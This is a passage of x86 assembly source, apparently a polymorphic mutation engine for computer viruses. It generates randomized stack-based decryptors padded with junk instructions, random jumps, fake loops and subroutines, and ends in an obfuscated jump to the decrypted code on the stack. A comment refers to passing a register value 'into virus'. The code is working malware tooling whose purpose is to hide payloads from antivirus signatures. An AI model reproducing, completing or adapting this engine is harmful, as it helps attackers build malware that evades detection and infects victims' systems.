; calculate decryptor entry point


mov ecx, po_entry
jecxz @@skip_retentry
mov eax, edi
sub eax, o_offs
mov [ecx], eax
@@skip_retentry:

; initialize bitsets: no registers initialized/used


xor eax, eax
mov reginit, eax
mov regused, eax

add i_size, 3 ; i_size: align 4


and i_size, not 3

call @@int3 ; add INT3 if FLAG_DEBUG

; set initial register values

cmp initregptr, 0
je @@ir_done
xor ebx, ebx
@@ir_cycle: bt regavail, ebx
jnc @@ir_cont
mov edx, initregptr
mov edx, [edx+ebx*4]
cmp edx, -1
je @@ir_cont
mov em_reg[ebx*4], edx
bts reginit, ebx
@@ir_cont: inc ebx
cmp bl, 8
jb @@ir_cycle
@@ir_done:

; ECX contains number of elements in regbuf


xor ecx, ecx

call @@poly_cmd ; add "logic" command

@@main_cycle: ; main encryption cycle

call @@get_init_reg ; select/initialize rnd reg


xchg ebx, eax

call @@poly_cmd ; add "logic" command

; push registers until register in EBX become free


call @@push_uptoebx

; get next dword (backward)


sub i_size, 4
mov edx, i_size
add edx, i_offs ; get dword into EDX
mov edx, [edx]

call @@gen_value ; make em_reg[EBX] equal to EDX

bts regused, ebx ; mark reg in EBX as used

mov regbuf[ecx], bl ; store EBX as ready to push


inc ecx

cmp i_size, 0 ; until we still have dwords


jg @@main_cycle ; in inputstream

call @@push_all ; push all unpushed registers


call @@int3 ; add INT3 if FLAG_DEBUG

call @@epilog ; "epilog" code -- JMP ESP

; calculate size of generated decryptor


sub edi, o_offs
flagsnz FLAG_NOJMPS, @@nj
mov edi, o_max
@@nj:
mov ecx, po_size
jecxz @@skip_osize
mov [ecx], edi
@@skip_osize:

clc ; CF=0 - all ok

@@error_exit: popa ; retore regs & exit


ret

; error handler
@@error3: ; int 3
@@error2: ; int 3
@@error1: ; int 3
@@error: mov esp, save_esp ; rest. ESP (if call from sub)
stc ; CF=1 - an error occured
jmp @@error_exit

; ===================== subroutines =========================================

; add INT3 command (if FLAG_DEBUG)


@@int3: flagsz FLAG_DEBUG, @@skip_debug
@@int3_do:
IFNDEF LITE
push eax
mov al, 0CCh
stosb
pop eax
ENDIF
@@skip_debug: retn

; ---------------------------------------------------------------------------

; push 1 register
; (indexes stored in regbuf, count in ECX)

@@push_1: dec ecx ; decr. num of regs in regbuf


movzx eax, regbuf ; read 1 byte
pusha ; delete 1st entry in regbuf
lea esi, regbuf+1
lea edi, regbuf
movsd ; just 8 bytes
movsd
popa
btr regused, eax ; mark register as free
call @@eip ; add JMP
add al, 50h ; PUSH reg
stosb
call @@poly_cmd ; "logic" command
retn

; push all registers


; (indexes stored in regbuf, count in ECX)
@@push_all: jecxz @@push_all_done
call @@push_1
jmp @@push_all
@@push_all_done: retn

; push registers up to pointed by EBX


; (indexes stored in regbuf, count in ECX)

@@push_uptoebx: bt regused, ebx


jnc @@ebx_free
call @@push_1
jmp @@push_uptoebx
@@ebx_free: retn

; ===========================================================================

; "epilog" code --
; -- load regs and JMP ESP in perverted form

@@epilog: call @@poly_cmd ; "logic"

cmp regused, 0
jne @@error1

call @@get_free_reg ; get free rnd reg <reg1>


xchg ecx, eax
btr regavail, ecx ; to avoid usage in logic;
btr reginit, ecx ; value unknown (ESP)

call @@eip ; JMP

mov ax, 0E089h ; mov reg1, esp


add ah, cl
stosw

mov eax, 20
call @@multi_garbage

call @@get_free_reg ; get free rnd <reg2>


jnc @@morethan1reg

; if we have only 1 register

@@1reg: call @@eip ; JMP

mov ax, 0C081h ; add reg1, i_entry


add ah, cl
stosw
mov eax, i_entry
stosd

; cant emul - ESP unknown

jmp @@1ornot

; if we have more than 1 register

@@morethan1reg: xchg ebx, eax


bts regused, ebx ; mark as used

mov edx, i_entry ; reg2 <-- i_entry


call @@gen_value
mov eax, 20
call @@multi_garbage

call @@rnd_zf
jz @@skip_xchg
bts regavail, ecx ; free reg1
btr regavail, ebx
btr reginit, ebx
xchg ecx, ebx ; invert register usage
@@skip_xchg:

btr regused, ebx

call @@eip ; JMP

mov ax, 0C001h ; add reg1, reg2


or ah, cl
shl bl, 3
or ah, bl
stosw

; cant emul - ESP unknown


@@1ornot:
mov eax, 20
call @@multi_garbage

call @@eip ; JMP

;; does reg1 value should be passed into virus?


mov eax, exitregptr
or eax, eax
jz @@skipchk
cmp dword ptr [eax+ecx*4], -1
jne @@push_ret
@@skipchk: ;;

call @@rnd_zf
jz @@jmp

@@push_ret: lea eax, [ecx+50h] ;push


stosb

bts regavail, ecx ; free reg1


btr regused, ecx

mov eax, 20
call @@multi_garbage

call @@epilog_regs

call @@eip
mov al, 0c3h ;ret
stosb

jmp @@lwo

@@jmp: call @@epilog_regs

mov ax, 0E0FFh ; JMP <reg1>


add ah, cl
stosw

bts regavail, ecx ; free reg1


btr regused, ecx

@@lwo: mov eax, 20


call @@multi_garbage

retn ; @@epilog

@@epilog_regs: cmp exitregptr, 0


je @@er_ret

xor ebx, ebx

@@er_cycle: bt regavail, ebx


jnc @@er_cont

mov edx, exitregptr


mov edx, [edx+ebx*4]
cmp edx, -1
je @@er_cont
call @@gen_value ; em_reg[ebx*4] <-- edx

bts regused, ebx

call @@poly_cmd
call @@poly_cmd

@@er_cont: inc ebx


cmp bl, 8
jb @@er_cycle

@@er_ret: retn

@@multi_garbage: call @@rnd_eax


jz @@mg_ret
@@gen_garbage: call @@poly_cmd
dec eax
jnz @@gen_garbage
@@mg_ret: retn

; ===========================================================================

; this subroutine makes em_reg[EBX] equal to EDX

@@gen_value:
; use XOR if noone specified
testcmd CMD_XOR+CMD_ADD+CMD_SUB+CMD_AND+CMD_OR, @@rdef

@@gen_value_restart: mov eax, 5 ; EAX=#


call @@rnd_eax

jz @@r0 ; dispatch
dec eax
jz @@r1

dec eax ; and


jz @@r3
dec eax ; or
jz @@r4

@@r2: testcmd CMD_XOR, @@gen_value_restart


@@rdef: xor edx, em_reg[ebx*4] ; emul -- xor reg, c
xor em_reg[ebx*4], edx
mov eax, 35F081h ; opcodes
jmp @@store_cmd

@@r1: testcmd CMD_ADD, @@gen_value_restart


sub edx, em_reg[ebx*4] ; emul -- add reg, c
add em_reg[ebx*4], edx
mov eax, 05C081h ; opcodes
jmp @@store_cmd

@@r0: testcmd CMD_SUB, @@gen_value_restart


sub edx, em_reg[ebx*4] ; emul -- sub reg, c
neg edx
sub em_reg[ebx*4], edx
mov eax, 2dE881h ; opcodes

@@store_cmd: or edx, edx ; skip zero-argument


jz @@rt
@@store_cmd_even0:
call @@eip ; JMP

flagsnz FLAG_NOSHORT, @@long ; if skip short opcs

or ebx, ebx ; use short form for EAX


jnz @@long
shr eax, 16

@@short: stosb ; store 1-byte opcode


jmp @@shortorlong

@@long: add ah, bl ; store 2-byte opcode


stosw

@@shortorlong: xchg edx, eax ; store argument (EDX)


stosd

@@rt: retn

@@r3: testcmd CMD_AND, @@gen_value_restart

; em_reg and ? = edx


; 0 * 0
; 0 - 1
; 1 0 0
; 1 1 1

mov eax, em_reg[ebx*4] ; em_reg and ? = edx


and eax, edx ; 0 none 1
cmp eax, edx
jne @@gen_value_restart

call @@random_dword ; em_reg and ? = edx


not em_reg[ebx*4] ; 0 any 0
and eax, em_reg[ebx*4]
not em_reg[ebx*4]
; em_reg and ? = edx
xor edx, eax ; 1 copy 0/1

and em_reg[ebx*4], edx

mov eax, 25E081h


jmp @@store_cmd_even0

@@r4: testcmd CMD_OR, @@gen_value_restart


; em_reg or ? = edx
; 0 0 0
; 0 1 1
; 1 - 0
; 1 * 1

mov eax, edx ; em_reg or ? = edx


and eax, em_reg[ebx*4] ; 1 none 0
cmp eax, em_reg[ebx*4]
jne @@gen_value_restart

call @@random_dword ; em_reg or ? = edx


and eax, em_reg[ebx*4] ; 1 * 1

xor edx, eax

or em_reg[ebx*4], edx

mov eax, 0DC881h


jmp @@store_cmd

; ===================== random number generator =============================

@@random: mov eax, randseed ; standard PASCAL's algorithm


imul eax, 214013
add eax, 2531011
mov randseed, eax
retn

@@random_dword: call @@rtmp


@@rtmp: shl eax, 8
call @@random_byte
shl eax, 8
@@random_byte: push eax
call @@random
shr eax, 24
mov [esp], al
pop eax
retn

; ---------------------------------------------------------------------------

@@rnd_zf: push eax


push 2
pop eax
call @@rnd_eax
dec eax
pop eax
retn

@@rnd_eax: push ebx


push edx
mov ebx, eax
call @@random
xor edx, edx
mul ebx ; MUL is really kewl
mov eax, edx
pop edx
pop ebx
test eax, eax
retn

; ===================== register selection management =======================


; get random register
@@get_rnd_reg: mov eax, 8
call @@rnd_eax
bt regavail, eax ; "regavail" set only
jnc @@get_rnd_reg
retn

; ---------------------------------------------------------------------------

; get random initialized register


@@get_init_reg: call @@get_rnd_reg ; get random reg
call @@reg_init_eax ; initialize it (if not yet)
retn

; ---------------------------------------------------------------------------

; check register & initialize it if unitinitalized


; used 'coz initially em_reg[0..7] is unknown

@@reg_init_eax: bts reginit, eax ; initialized?


jc @@reg_init_retn

push ebx
mov ebx, eax

call @@eip ; JMP

testcmd CMD_PUSHPOP, @@init_mov

call @@rnd_zf
jz @@init_pushpop

@@init_mov: add al, 0B8h ; MOV r, c


stosb
call @@random_dword
mov em_reg[ebx*4], eax ; store initial em_reg[]
stosd

@@init_done: xchg ebx, eax


pop ebx

@@reg_init_retn: retn

@@init_pushpop: mov al, 68h


stosb
call @@random_dword
mov em_reg[ebx*4], eax ; store initial em_reg[]
stosd

call @@eip
lea eax, [ebx+58h]
stosb

jmp @@init_done

; ---------------------------------------------------------------------------

; get random initialized register marked as "free"


@@get_free_reg: mov eax, regused
cmp eax, regavail
je @@bad
call @@get_init_reg
bt regused, eax
jc @@get_free_reg
retn
@@bad: mov eax, -1
stc
retn

; ===========================================================================

; this subroutine finds new output pointer (in EDI)

@@find_new_eip: mov edx, C_EIP_MAX_ITER ; max number of restarts

@@eip_find: dec edx ; error if no free space


jz @@error2

; find random location within outbuf


mov eax, o_max
sub eax, C_EIP_TOP+C_EIP_BOTTOM
call @@rnd_eax
add eax, C_EIP_TOP
add eax, o_offs
xchg edi, eax

; scan it -- should be unused


mov ecx, C_EIP_NEXT+C_EIP_PREV
mov eax, o_fillchar
repz scasb
jnz @@eip_find
sub edi, C_EIP_NEXT

retn

; ---------------------------------------------------------------------------

; this subroutine called before each command is


; stored to output stream
; it probably adds JMP to new random location

@@eip_do1: pushad
jmp @@eip_do

@@eip: pusha

mov eax, o_offs ; check if end of outbuf is


add eax, o_max ; reached. MUST add jmp then.
sub eax, edi
cmp eax, C_EIP_BOTTOM
jb @@eip_do

mov eax, o_fillchar ; scan following code --


mov ecx, C_EIP_NEXT ; -- it should be unused,
push edi ; MUST add jmp otherwise
repz scasb
pop edi
jnz @@eip_do

; here we may skip jmp

flagsnz FLAG_NOJMPS, @@eip_done ; JMPs disabled? -exit

mov eax, jmp_prob ; add JMP if rnd(jmp_prob)==0


call @@rnd_eax
jnz @@eip_done

@@eip_do:
; well, here we MUST select new location, or die

flagsnz FLAG_NOJMPS, @@error3 ; no JMPs? - error!

mov al, 0E9h ; add JMP


stosb
stosd ; space for argument
mov ebx, edi ; save old position

call @@find_new_eip ; try to find new location

mov eax, edi ; link


sub eax, ebx
mov [ebx-4], eax

@@eip_done: mov [esp+0*4], edi ; pushad_edi


popa
retn

; ===================== "logic" management ==================================

; this subroutine adds "logic" instruction into


; output stream.

@@poly_cmd: pusha

flagsnz FLAG_NOLOGIC, @@poly_cmd_exit ; logic disabled? --exit

IFNDEF LITE
mov eax, cmdavail ; no avail cmds?
or eax, cmdavail2
jz @@poly_cmd_exit ; --exit
ENDIF

mov eax, regused ; all avail regs used?


cmp eax, regavail
je @@poly_cmd_exit ; --exit

call @@eip ; add JMP if needed

@@poly_cmd_restart:

REG1 equ ebx


REG2 equ edx
REG1_8 equ bl
REG2_8 equ dl
XXX equ ecx ; fixed
XXX_8 equ cl ; fixed

; reg1: destination, read-write


call @@get_free_reg ; get free reg <reg1>
xchg REG1, eax
jc @@poly_cmd_exit

; reg2: source, read-only. to write into, do check


call @@get_init_reg ; get init reg <reg2>
xchg REG2, eax

call @@random_dword ; get random argument


xchg XXX, eax

mov eax, 55
call @@rnd_eax ; select random command index

; dispatch

or eax, eax
jz @@x_not
dec eax
jz @@x_neg
dec eax
jz @@x_inc
dec eax
jz @@x_dec
dec eax
jz @@x_inc
dec eax
jz @@x_dec
dec eax
jz @@x_shl
dec eax
jz @@x_shr
dec eax
jz @@x_rol
dec eax
jz @@x_ror
dec eax
jz @@x_sar
dec eax
jz @@x_mov_c
dec eax
jz @@x_add_c
dec eax
jz @@x_sub_c
dec eax
jz @@x_mov_c
dec eax
jz @@x_add_c
dec eax
jz @@x_sub_c
dec eax
jz @@x_xor_c
dec eax
jz @@x_and_c
dec eax
jz @@x_or_c
dec eax
jz @@x_rol_c
dec eax
jz @@x_ror_c

dec eax ; r1, r1


jz @@x_add
dec eax ;
jz @@x_sub
dec eax ;
jz @@x_xor

dec eax ; r1, r2


jz @@x_imul_ex
dec eax ; r1, r2, c
jz @@x_imul_ex_c
dec eax ; r1, c
jz @@x_btc_c
dec eax ;
jz @@x_btr_c
dec eax ;
jz @@x_bts_c

dec eax ; r1
jz @@x_bswap

dec eax ; movzx/movsx


jz @@movsxzx
dec eax ; push reg/pop
jz @@pushrp
dec eax ; push imm/pop
jz @@puship

dec eax
jz @@x_mul
dec eax
jz @@x_imul
dec eax
jz @@x_div
dec eax
jz @@x_idiv

dec eax
jz @@x_fpu

; new commands that dont need 2 dif. regs

dec eax
jz @@cmp_i_follow
dec eax
jz @@cmp_i_nofollow

dec eax
jz @@callsub

dec eax
jz @@subroutine

dec eax
jz @@x_bsr
dec eax
jz @@x_bsf

; add other commands if only different regs selected


cmp REG1, REG2 ; r1 == r2 ?
je @@poly_cmd_restart

dec eax
jz @@x_xchg

dec eax
jz @@x_mov
dec eax
jz @@x_and
dec eax
jz @@x_or

dec eax ; r1, r2, c


jz @@x_shld
dec eax ; r1, r2, c
jz @@x_shrd

dec eax ; r1, r2


jz @@x_xadd

dec eax
jz @@cmp_r_nofollow
dec eax
jz @@cmp_r_follow

dec eax
jz @@x_cycle

int 3 ; shouldn't be executed. fix # of items

@@poly_cmd_exit: ; exit
mov [esp+0*4], edi ; pushad_edi
popa
retn

; --------------------- cycle -----------------------------------------------

@@x_cycle: testcmd2 CMD2_CYCLE, @@poly_cmd_restart

push edi ; start-cycle: eip

call @@eip

call @@rnd_zf
jz @@gen_sub

@@gen_add: mov ax, 0c081h ; add reg, param


or ah, REG1_8
stosw
mov eax, XXX
stosd

jmp @@gen_done

@@gen_sub: mov ax, 0e881h ; sub reg, param


or ah, REG1_8
stosw
mov eax, XXX
stosd

neg XXX ; 4emul: add->sub


@@gen_done:
mov eax, 666 ; its enough
call @@rnd_eax
inc eax ; # of cycle iterations

@@em_add: add em_reg[REG1*4], XXX ; calc resulting value


dec eax
jnz @@em_add

call @@eip
mov ax, 0F881h ; cmp r,result
or ah, REG1_8
stosw
mov eax, em_reg[REG1*4]
stosd
cmp eax, eax

call @@eip
mov ax, 850Fh ; jne
stosw
stosd
pop eax ; start-cycle: eip
sub eax, edi
mov [edi-4], eax

jmp @@poly_cmd_exit

; --------------------- call subroutine -------------------------------------

@@callsub: testcmd2 CMD2_SUBROUTINE, @@poly_cmd_restart

cmp p_count, 0 ; no subs were generated yet?


je @@poly_cmd_exit ; !

cmp in_subroutine, 0 ; do not make recurse calls


jne @@poly_cmd_exit ; !

; select random sub; get addr & stack size


mov eax, p_count
call @@rnd_eax
xchg esi, eax
mov ebx, p_addr[esi*4]
movzx ecx, p_stack[esi]

; push params
jecxz @@skip_push_rnd

@@push_rnd: call @@eip

mov eax, 8
call @@rnd_eax
add al, 50h
stosb

loop @@push_rnd
@@skip_push_rnd:

; generate call
call @@eip

mov al, 0E8h


stosb
stosd
sub ebx, edi
mov [edi-4], ebx

movzx ecx, p_conv[esi]


jecxz @@skip_fixstk ; 0=pascal

movzx ecx, p_stack[esi]


jecxz @@skip_fixstk

mov ax, 0C483h ; add esp, nn


stosw
lea eax, [ecx*4]
stosb
call @@rnd_zf
jz @@skip_fixstk
mov byte ptr [edi-2], 0ECh ; add-->sub
neg byte ptr [edi-1] ; -nn
@@skip_fixstk:
jmp @@poly_cmd_exit

; --------------------- generate subroutine ---------------------------------

@@subroutine: testcmd2 CMD2_SUBROUTINE, @@poly_cmd_restart

cmp p_count, C_MAX_SUB ; fixed # of subroutines


jae @@poly_cmd_exit ; !

inc in_subroutine ; we're inside of subroutine(s)

; now, push all the state related to output code flow generation

flagsnz FLAG_NOJMPS, @@s_no_jmps ; cant be called?

; if jmps allowed, gen sub somewhere there


push edi ; current EIP
call @@eip_do1 ; change EIP (requres FLAG_NOJMPS=0)

jmp @@s_done

@@s_no_jmps: mov al, 0E9h ; NOJMPS? bypass subroutine


stosb
stosd
push edi ; current EIP
@@s_done:

call @@state_push

xor ecx, ecx ; ECX<--number of paramz


call @@rnd_zf ; have any params?
jnz @@set0
mov eax, 4 ; 1..4
call @@rnd_eax
lea ecx, [eax+1]
@@set0:
; save addr(EDI) & params(CL)
mov eax, p_count
inc p_count
mov p_addr[eax*4], edi
mov p_stack[eax], cl

; calling convention: cdecl=1, pascal=0


call @@rnd_zf
sete dl
mov p_conv[eax], dl

dec dl ; cdecl=0, pascal=-1


and cl, dl ; if (cdecl) pop_params=0

shl ecx, 2
push ecx ; params size, in BYTEs

; reinitialize the state

; reduce set of registers available


@@rnd_again: mov eax, 256
call @@rnd_eax
and eax, regavail
jz @@rnd_again
mov regavail, eax

mov reginit, 0 ; all register values unknow


mov regused, 0 ; ('coz multiple calls)

; prolog
mov ebx, regavail
@@push_loop: call @@eip
bsf eax, ebx ; smart idea
jz @@push_done
btr ebx, eax
add al, 50h
stosb
jmp @@push_loop
@@push_done:

; body
mov eax, 50
call @@multi_garbage

call @@eip
; epilog
mov ebx, regavail ; pop mask
@@pop_loop: call @@eip
bsr eax, ebx
jz @@pop_done
btr ebx, eax
add al, 58h ;POP regs 1 at once
stosb
jmp @@pop_loop
@@pop_done:

; retn
call @@eip

mov al, 0C3h


stosb

pop ecx ; param frame size


jecxz @@simpleret

dec byte ptr [edi-1] ; C3->C2


mov eax, ecx ; RET ? clean paramz
stosw
@@simpleret:

call @@state_pop

; restore all the state


flagsnz FLAG_NOJMPS, @@e_no_jmps

pop edi ; 5 bytes (unrealized JMP) at EDI

jmp @@e_done

@@e_no_jmps: pop ecx


mov eax, edi
sub eax, ecx
mov [ecx-4], eax
@@e_done:
dec in_subroutine
jmp @@poly_cmd_exit

; --------------------- misc ------------------------------------------------

@@state_push: pop esi

push regavail

lea eax, state_begin


lea ecx, state_end
@@push_cycle: push dword ptr [eax]
add eax, 4
cmp eax, ecx
jne @@push_cycle

jmp esi

@@state_pop: pop esi

lea eax, state_begin


lea ecx, state_end
@@pop_cycle: sub ecx, 4
pop dword ptr [ecx]
cmp ecx, eax
jne @@pop_cycle

pop regavail

jmp esi

; --------------------- movsxzx ---------------------------------------------

@@movsxzx: testcmd CMD_MOVSXZX, @@poly_cmd_restart

cmp REG2, 4
jae @@poly_cmd_exit

mov ecx, em_reg[REG2*4]

call @@rnd_zf
jz @@use_xl

mov cl, ch ;use high 8 bits (AH,BH,...)


or REG2_8, 4
@@use_xl:
call @@rnd_zf
jz @@movsx

@@movzx: mov ax, 0B60Fh ;movzx


movzx ecx, cl

jmp @@stos_sxzx

@@movsx: mov ax, 0BE0Fh ;movsx


movsx ecx, cl

@@stos_sxzx:
mov em_reg[REG1*4], ecx

stosw

xchg REG1, REG2


call @@modrm

jmp @@poly_cmd_exit

; --------------------- push reg ; poly_cmd() ; pop_reg----------------------

@@pushrp: testcmd2 CMD2_PUSHPOPR, @@poly_cmd_restart

mov ecx, em_reg[REG2*4]


lea eax, [REG2+50h]
stosb ; push reg

jmp @@pop

@@puship: testcmd2 CMD2_PUSHPOPC, @@poly_cmd_restart

call @@rnd_zf
jz @@imm_d

@@imm_b: mov ah, cl


movsx ecx, ah
mov al, 6Ah ; push byte
stosw

jmp @@pop

@@imm_d: mov al, 68h


stosb ; push dword
mov eax, ecx
stosd

@@pop: call @@poly_cmd

mov em_reg[REG1*4], ecx

call @@eip
lea eax, [REG1+58h]
stosb ;pop reg

jmp @@poly_cmd_exit

; --------------------- cmp r, r/c ; jxx ------------------------------------

@@cmp_i_follow: flagsnz FLAG_NOJMPS, @@poly_cmd_exit

testcmd2 CMD2_IFOLLOW, @@poly_cmd_exit

mov tempo, -1

jmp @@cmp_i

@@cmp_i_nofollow: testcmd2 CMD2_INOFOLLOW, @@poly_cmd_exit

mov tempo, 0

@@cmp_i:
test REG1, REG1
jnz @@longcmp
flagsnz FLAG_NOSHORT, @@longcmp ; if skip short opcs

mov al, 3Dh ; short form for eax


stosb
jmp @@cmpeaxboth

@@longcmp: mov ax, 0F881h ; CMP


or ah, REG1_8
stosw

@@cmpeaxboth: call @@rnd_zf

mov eax, em_reg[REG1*4] ;Z


jz @@useit
mov eax, XXX ; ecx

flagsnz FLAG_NOSHORT_C, @@useit


call @@rnd_zf
jnz @@useit

dec edi ;
cmp byte ptr [edi], 3Dh ; EAX ?
je @@longcmp ;
inc edi ;

mov byte ptr [edi-2], 83h ; 81->83, short form


movsx eax, al ; to pass EAX to @@outcond
stosb

jmp @@outcond

@@useit: stosd
jmp @@outcond

@@cmp_r_follow: flagsnz FLAG_NOJMPS, @@poly_cmd_exit

testcmd2 CMD2_RFOLLOW, @@poly_cmd_exit

mov tempo, -1

jmp @@cmp_r

@@cmp_r_nofollow: testcmd2 CMD2_RNOFOLLOW, @@poly_cmd_exit

mov tempo, 0

@@cmp_r:
push REG1 REG2 ; 'coz of @@swap

mov al, 39h ; cmp r,r


call @@swap
stosb
call @@modrm

pop REG2 REG1

mov eax, em_reg[REG2*4]

@@outcond:
call @@eip

cmp em_reg[REG1*4], eax

seto jxxcond[0]
setb jxxcond[2]
sete jxxcond[4]
setbe jxxcond[6]
sets jxxcond[8]
setp jxxcond[10]
setl jxxcond[12]
setle jxxcond[14]

mov eax, 8
call @@rnd_eax
shl eax, 1
xor al, jxxcond[eax]
xor al, 70h

mov ecx, tempo


jecxz @@dont_follow

xor al, 0F1h ; invert condition + short2near


mov ah, 0Fh ;
xchg al, ah
mov ebx, edi
inc edi ; +1
call @@eip_do1
mov word ptr [ebx], ax ;convert to jcc

jmp @@poly_cmd_exit

@@dont_follow: call @@rnd_zf


jz @@long_dontfollow

@@short_dontfollow: stosb
call @@random_byte
stosb ;displacement(that dont get exec)

jmp @@poly_cmd_exit

@@long_dontfollow: xor al, 0F0h


mov ah, 0Fh
xchg al, ah
stosw
call @@random_dword
stosd

jmp @@poly_cmd_exit

; --------------------- common subroutines ----------------------------------

; input: EAX=opcode, REG1,REG2

@@swap: flagsnz FLAG_NOSWAP, @@swap_retn


call @@rnd_zf
jz @@swap_retn
xor al, 2 ; bit 'S', means swap regs
xchg REG1, REG2 ; so, the same action
@@swap_retn: retn

@@oralR1_stosb: or al, REG1_8


stosb
jmp @@poly_cmd_exit

@@orahR1_stosw: or ah, REG1_8


stosw
jmp @@poly_cmd_exit

@@swap_stosb_modrm: call @@swap


jmp @@stosb_modrm
@@stosw_modrm: stosb
mov al, ah
@@stosb_modrm: stosb
call @@modrm
jmp @@poly_cmd_exit

@@modrm: pusha
mov al, 0C0h
shl REG2_8, 3
or al, REG2_8
or al, REG1_8
stosb
popa
inc edi
retn

@@stosw_modrm_stosbX: stosw
call @@modrm
jmp @@stosbX

@@stosb_modrm_stosd: stosb
call @@modrm
jmp @@stosd

@@oralR1_stosb_stosd: or al, REG1_8


@@stosb_stosd: stosb
@@stosd: xchg eax, XXX
stosd
jmp @@poly_cmd_exit

@@orahR1_stosw_stosd: or ah, REG1_8


stosw
jmp @@stosd

@@checkshort: cmp al, 83h


je @@orahR1_stosw_stosbX

flagsnz FLAG_NOSHORT, @@orahR1_stosw_stosd


test REG1, REG1
jnz @@orahR1_stosw_stosd
shr eax, 16
jmp @@stosb_stosd

@@orahR1_stosw_stosbX: or ah, REG1_8


stosw
@@stosbX: mov al, XXX_8
stosb
jmp @@poly_cmd_exit

@@modarg: and ecx, 31 ; if (x==0) x++;


cmp cl, 1
adc cl, 0
retn

@@stos3or: stosw
shr eax, 16
or al, REG1_8
mov ah, XXX_8
stosw
jmp @@poly_cmd_exit

; ---------------------------------------------------------------------------
@@x_not: testcmd CMD_NOT, @@poly_cmd_restart
not em_reg[REG1*4] ; emul -- not r1
mov ax, 0d0f7h ; opcode
jmp @@orahR1_stosw

@@x_neg: testcmd CMD_NEG, @@poly_cmd_restart


neg em_reg[REG1*4] ; emul -- neg r1
mov ax, 0d8f7h ; opcode
jmp @@orahR1_stosw

@@x_inc: testcmd CMD_INC, @@poly_cmd_restart


inc em_reg[REG1*4] ; emul -- inc r1
mov al, 40h ; opcode
jmp @@oralR1_stosb

@@x_dec: testcmd CMD_DEC, @@poly_cmd_restart


dec em_reg[REG1*4] ; emul -- dec r1
mov al, 48h ; opcode
jmp @@oralR1_stosb

@@x_shl: testcmd CMD_SHL, @@poly_cmd_restart


shl em_reg[REG1*4], 1 ; emul -- shl r1, 1
mov ax, 0e0d1h ; opcode
jmp @@orahR1_stosw

@@x_shr: testcmd CMD_SHR, @@poly_cmd_restart


shr em_reg[REG1*4], 1 ; emul -- shr r1, 1
mov ax, 0e8d1h ; opcode
jmp @@orahR1_stosw

@@x_rol: testcmd CMD_ROL, @@poly_cmd_restart


rol em_reg[REG1*4], 1 ; emul -- rol r1, 1
mov ax, 0c0d1h ; opcode
jmp @@orahR1_stosw

@@x_ror: testcmd CMD_ROR, @@poly_cmd_restart


ror em_reg[REG1*4], 1 ; emul -- ror r1, 1
mov ax, 0c8d1h ; opcode
jmp @@orahR1_stosw

@@x_sar: testcmd CMD_SAR, @@poly_cmd_restart


sar em_reg[REG1*4], 1 ; emul -- sar r1, 1
mov ax, 0f8d1h ; opcode
jmp @@orahR1_stosw

@@x_xor: testcmd CMD_XOR, @@poly_cmd_restart


mov eax, em_reg[REG2*4] ; emul -- xor r1, r2
xor em_reg[REG1*4], eax
mov al, 31h ; opcode
jmp @@swap_stosb_modrm

@@x_add: testcmd CMD_ADD, @@poly_cmd_restart


mov eax, em_reg[REG2*4] ; emul -- add r1, r2
add em_reg[REG1*4], eax
mov al, 01h ; opcode
jmp @@swap_stosb_modrm

@@x_sub: testcmd CMD_SUB, @@poly_cmd_restart


mov eax, em_reg[REG2*4] ; emul -- sub r1, r2
sub em_reg[REG1*4], eax
mov al, 29h ; opcode
jmp @@swap_stosb_modrm
@@x_mov: testcmd CMD_MOV, @@poly_cmd_restart
mov eax, em_reg[REG2*4] ; emul -- mov r1, r2
mov em_reg[REG1*4], eax
mov al, 89h ; opcode
jmp @@swap_stosb_modrm

@@x_xchg: testcmd CMD_XCHG, @@poly_cmd_restart


bt regused, REG2
jc @@poly_cmd_exit
mov eax, em_reg[REG1*4] ; emul -- xchg r1, r2
xchg em_reg[REG2*4], eax
mov em_reg[REG1*4], eax
mov al, 87h ; opcode
jmp @@stosb_modrm

@@x_and: testcmd CMD_AND, @@poly_cmd_restart


mov eax, em_reg[REG2*4] ; emul -- and r1, r2
and em_reg[REG1*4], eax
mov al, 21h ; opcode
jmp @@swap_stosb_modrm

@@x_or: testcmd CMD_OR, @@poly_cmd_restart


mov eax, em_reg[REG2*4] ; emul -- or r1, r2
or em_reg[REG1*4], eax
mov al, 09h ; opcode
jmp @@swap_stosb_modrm

@@x_mov_c: testcmd CMD_MOV, @@poly_cmd_restart


mov em_reg[REG1*4], XXX ; emul -- mov r1, c
mov al, 0B8h ; opcode
jmp @@oralR1_stosb_stosd

@@x_add_c: testcmd CMD_ADD, @@poly_cmd_restart


mov eax, 05C081h
call @@try_short
add em_reg[REG1*4], XXX ; emul -- add r1, c
jmp @@checkshort

@@x_sub_c: testcmd CMD_SUB, @@poly_cmd_restart


mov eax, 2DE881h ; opcode
call @@try_short
sub em_reg[REG1*4], XXX ; emul -- sub r1, c
jmp @@checkshort

@@x_xor_c: testcmd CMD_XOR, @@poly_cmd_restart


mov eax, 35F081h ; opcode
call @@try_short
xor em_reg[REG1*4], XXX ; emul -- xor r1, c
jmp @@checkshort

@@x_and_c: testcmd CMD_AND, @@poly_cmd_restart


mov eax, 25E081h ; opcode
call @@try_short
and em_reg[REG1*4], XXX ; emul -- and r1, c
jmp @@checkshort

@@x_or_c: testcmd CMD_OR, @@poly_cmd_restart


mov eax, 0DC881h ; opcode
call @@try_short
or em_reg[REG1*4], XXX ; emul -- or r1, c
jmp @@checkshort
@@try_short: flagsnz FLAG_NOSHORT_C, @@try_short_retn
call @@rnd_zf
jz @@try_short_retn
or al, 2 ; 81->83
movsx XXX, XXX_8
@@try_short_retn: retn

@@x_rol_c: testcmd CMD_ROL, @@poly_cmd_restart


call @@modarg ; modify argument
rol em_reg[REG1*4], cl ; emul -- rol r1, c
mov ax, 0C0C1h ; opcode
jmp @@orahR1_stosw_stosbX

@@x_ror_c: testcmd CMD_ROR, @@poly_cmd_restart


call @@modarg ; modify argument
ror em_reg[REG1*4], cl ; emul -- ror r1, c
mov ax, 0C8C1h ; opcode
jmp @@orahR1_stosw_stosbX

@@x_imul_ex: testcmd CMD_IMUL, @@poly_cmd_restart


mov eax, em_reg[REG1*4] ; emul -- imul r1, r2
imul eax, em_reg[REG2*4]
mov em_reg[REG1*4], eax
mov ax, 0AF0Fh ; opcode
xchg REG1, REG2
jmp @@stosw_modrm

@@x_imul_ex_c: testcmd CMD_IMUL, @@poly_cmd_restart


mov eax, em_reg[REG2*4] ; emul -- imul r1,r2,c
imul eax, XXX
mov em_reg[REG1*4], eax
mov al, 69h ; opcode
xchg REG1, REG2
jmp @@stosb_modrm_stosd

